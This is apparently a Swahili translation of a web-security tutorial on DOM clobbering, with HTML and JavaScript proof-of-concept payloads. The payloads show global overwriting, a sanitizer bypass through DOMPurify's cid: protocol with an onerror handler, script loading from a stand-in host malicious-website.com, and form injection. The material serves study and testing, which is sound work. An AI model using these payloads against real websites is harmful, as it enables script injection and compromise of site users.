# Dom Clobbering

{{#include ../../banners/hacktricks-training.md}}

## **Msingi**

Inawezekana kuunda **mabadiliko ya kimataifa ndani ya muktadha wa JS** kwa kutumia sifa **`id`** na **`name`** katika vitambulisho vya HTML.
```html
<form id="x"></form>
<script>
console.log(typeof document.x) //[object HTMLFormElement]
</script>
```
**Tu** vipengele fulani tu vinaweza kutumia **sifa ya jina** ili kuharibu globals, ni: `embed`, `form`, `iframe`, `image`, `img` na `object`.

Kwa kushangaza, unapokuwa unatumia **kipengele cha fomu** ku **haribu** variable, utapata **`toString`** ya kipengele chenyewe: `[object HTMLFormElement]` lakini kwa **kiungo** **`toString`** itakuwa **`href`** ya kiungo. Hivyo, ikiwa uta **haribu** kwa kutumia **`a`** tag, unaweza **kontroli** **thamani** wakati inachukuliwa kama **string**:
```html
<a href="controlled string" id="x"></a>
<script>
console.log(x) //controlled string
</script>
```
### Arrays & Attributes

Inawezekana pia **kuharibu array** na **sifa za kitu**:
```html
<a id="x">
<a id="x" name="y" href="controlled">
<script>
console.log(x[1]) //controlled
console.log(x.y) //controlled
</script></a
></a
>
```
Ili kubadilisha **sifa ya 3rd** (mfano x.y.z), unahitaji kutumia **`form`**:
```html
<form id="x" name="y"><input id="z" value="controlled" /></form>
<form id="x"></form>
<script>
alert(x.y.z.value) //controlled
</script>
```
Kukandamiza sifa zaidi ni **ngumu zaidi lakini bado inawezekana**, kwa kutumia iframes:
```html
<iframe name="x" srcdoc="<a id=y href=controlled></a>"></iframe>
<style>
@import "https://google.com";
</style>
<script>
alert(x.y) //controlled
</script>
```
> [!WARNING]
> Tag ya style inatumika kutoa **muda wa kutosha kwa iframe kuonyesha**. Bila yake utaona arifa ya **undefined**.

Ili kuharibu sifa za ndani zaidi, unaweza kutumia **iframes zenye uandishi wa html** hivi:
```html
<iframe
name="a"
srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;amp;#x20;name=e&amp;amp;#x20;href=\controlled&amp;amp;gt;<a&amp;amp;#x20;id=d&amp;amp;gt; name=d>' name=b>"></iframe>
<style>
@import "https://google.com";
</style>
<script>
alert(a.b.c.d.e) //controlled
</script>
```
### **Kupita Kichujio**

Ikiwa kichujio kina **zunguka** kupitia **mali** za nodi kwa kutumia kitu kama `document.getElementByID('x').attributes` unaweza **kuharibu** mali **`.attributes`** na **kuvunja kichujio**. Mali nyingine za DOM kama **`tagName`**, **`nodeName`** au **`parentNode`** na zaidi pia zinaweza **kuharibiwa**.
```html
<form id="x"></form>
<form id="y">
<input name="nodeName" />
</form>
<script>
console.log(document.getElementById("x").nodeName) //FORM
console.log(document.getElementById("y").nodeName) //[object HTMLInputElement]
</script>
```
## **Clobbering `window.someObject`**

Katika JavaScript ni kawaida kupata:
```javascript
var someObject = window.someObject || {}
```
Kuharibu HTML kwenye ukurasa kunaruhusu kubadilisha `someObject` na nodi ya DOM, ambayo inaweza kuleta udhaifu wa usalama. Kwa mfano, unaweza kubadilisha `someObject` na kipengele cha kiungo kinachorejelea skripti mbaya:
```html
<a id=someObject href=//malicious-website.com/malicious.js></a>
```
Katika msimbo unaoweza kuathiriwa kama:
```html
<script>
window.onload = function () {
let someObject = window.someObject || {}
let script = document.createElement("script")
script.src = someObject.url
document.body.appendChild(script)
}
</script>
```
Hii mbinu inatumia chanzo cha script kutekeleza msimbo usiotakikana.

**Hila**: **`DOMPurify`** inakuwezesha kutumia **`cid:`** itifaki, ambayo **haiwezi kuandika URL kwa alama za nukuu mbili**. Hii inamaanisha unaweza **kuingiza alama ya nukuu mbili iliyowekwa ambayo itafutwa wakati wa utekelezaji**. Hivyo, kuingiza kitu kama **`<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//">`** kutaifanya HTML iliyowekwa `&quot;` kuwa **futwa wakati wa utekelezaji** na **kuondoka** kutoka kwa thamani ya sifa ili **kuunda** tukio la **`onerror`**.

Mbinu nyingine inatumia kipengele cha **`form`**. Maktaba fulani za upande wa mteja zinakagua sifa za kipengele kipya cha fomu ili kuzisafisha. Hata hivyo, kwa kuongeza `input` yenye `id=attributes` ndani ya fomu, unabadilisha kwa ufanisi mali za sifa, kuzuia sanitizer kufikia sifa halisi.

Unaweza [**kupata mfano wa aina hii ya clobbering katika andiko hili la CTF**](iframes-in-xss-and-csp.md#iframes-in-sop-2).

## Clobbering object ya hati

Kulingana na nyaraka, inawezekana kubadilisha sifa za object ya hati kwa kutumia DOM Clobbering:

> [Document](https://html.spec.whatwg.org/multipage/dom.html#document) interface [inasaidia mali zenye majina](https://webidl.spec.whatwg.org/#dfn-support-named-properties). [Majina ya mali yanayosaidiwa](https://webidl.spec.whatwg.org/#dfn-supported-property-names) ya [Document](https://html.spec.whatwg.org/multipage/dom.html#document) object hati wakati wowote yanajumuisha yafuatayo, kwa [mpangilio wa mti](https://dom.spec.whatwg.org/#concept-tree-order) kulingana na kipengele kilichochangia, bila kuzingatia nakala za baadaye, na kwa thamani kutoka [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) sifa zikija kabla ya thamani kutoka sifa za jina wakati kipengele kimoja kinachangia zote:
>
> \- Thamani ya sifa ya maudhui ya jina kwa [exposed](https://html.spec.whatwg.org/multipage/dom.html#exposed) [embed](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-embed-element), [form](https://html.spec.whatwg.org/multipage/forms.html#the-form-element), [iframe](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-iframe-element), [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element), na [exposed](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) vipengele ambavyo vina sifa ya maudhui ya jina isiyo tupu na viko [katika mti wa hati](https://dom.spec.whatwg.org/#in-a-document-tree) na hati kama [mizizi](https://dom.spec.whatwg.org/#concept-tree-root);\
> \
> \- Thamani ya [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) sifa ya maudhui kwa [exposed](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) vipengele ambavyo vina sifa ya maudhui ya [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) isiyo tupu na viko [katika mti wa hati](https://dom.spec.whatwg.org/#in-a-document-tree) na hati kama [mizizi](https://dom.spec.whatwg.org/#concept-tree-root);\
> \
> \- Thamani ya [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) sifa ya maudhui kwa [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) vipengele ambavyo vina sifa ya maudhui ya [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) isiyo tupu na sifa ya maudhui ya jina isiyo tupu, na viko [katika mti wa hati](https://dom.spec.whatwg.org/#in-a-document-tree) na hati kama [mizizi](https://dom.spec.whatwg.org/#concept-tree-root).

Kwa kutumia mbinu hii unaweza kubadilisha **thamani zinazotumika sana kama `document.cookie`, `document.body`, `document.children`**, na hata mbinu katika interface ya Document kama `document.querySelector`.
```javascript
document.write("<img name=cookie />")

document.cookie
<img name="cookie">

typeof(document.cookie)
'object'

//Something more sanitize friendly than a img tag
document.write("<form name=cookie><input id=toString></form>")

document.cookie
HTMLCollection(2) [img, form, cookie: img]

typeof(document.cookie)
'object
```
## Kuandika baada ya kipengele kilichoharibiwa

Matokeo ya wito kwa **`document.getElementById()`** na **`document.querySelector()`** yanaweza kubadilishwa kwa kuingiza tag ya `<html>` au `<body>` yenye sifa sawa ya id. Hapa kuna jinsi inavyoweza kufanywa:
```html
<div style="display:none" id="cdnDomain" class="x">test</div>
<p>
<html id="cdnDomain" class="x">
clobbered
</html>
<script>
alert(document.getElementById("cdnDomain").innerText) // Clobbered
alert(document.querySelector(".x").innerText) // Clobbered
</script>
</p>
```
Zaidi ya hayo, kwa kutumia mitindo kuficha hizi lebo za HTML/body zilizowekwa, kuingiliwa kutoka kwa maandiko mengine katika `innerText` kunaweza kuzuiwa, hivyo kuboresha ufanisi wa shambulio:
```html
<div style="display:none" id="cdnDomain">test</div>
<p>existing text</p>
<html id="cdnDomain">
clobbered
</html>
<style>
p {
display: none;
}
</style>
<script>
alert(document.getElementById("cdnDomain").innerText) // Clobbered
</script>
```
Uchunguzi kuhusu SVG ulibaini kwamba tag `<body>` inaweza pia kutumika kwa ufanisi:
```html
<div style="display:none" id="cdnDomain">example.com</div>
<svg>
<body id="cdnDomain">
clobbered
</body>
</svg>
<script>
alert(document.getElementById("cdnDomain").innerText) // Clobbered
</script>
```
Ili tag ya HTML ifanye kazi ndani ya SVG katika vivinjari kama Chrome na Firefox, tag ya `<foreignobject>` inahitajika:
```html
<div style="display:none" id="cdnDomain">example.com</div>
<svg>
<foreignobject>
<html id="cdnDomain">
clobbered
</html>
</foreignobject>
</svg>
<script>
alert(document.getElementById("cdnDomain").innerText) // Clobbered
</script>
```
## Clobbering Forms

Ni uwezekano wa kuongeza **ingizo jipya ndani ya fomu** kwa ku **ainisha sifa ya `form`** ndani ya baadhi ya lebo. Unaweza kutumia hii ku **ongeza thamani mpya ndani ya fomu** na hata kuongeza **kitufe kipya** cha **kutuma** (clickjacking au kutumia baadhi ya msimbo wa JS `.click()`):
```html
<!--Add a new attribute and a new button to send-->
<textarea form="id-other-form" name="info">
";alert(1);//
</textarea>
<button form="id-other-form" type="submit" formaction="/edit" formmethod="post">
Click to send!
</button>
```
- Kwa maelezo zaidi kuhusu sifa za fomu katika [**button check this**](https://www.w3schools.com/tags/tag_button.asp)**.**

## Marejeleo

- [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
- [https://portswigger.net/web-security/dom-based/dom-clobbering](https://portswigger.net/web-security/dom-based/dom-clobbering)
- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker.

{{#include ../../banners/hacktricks-training.md}}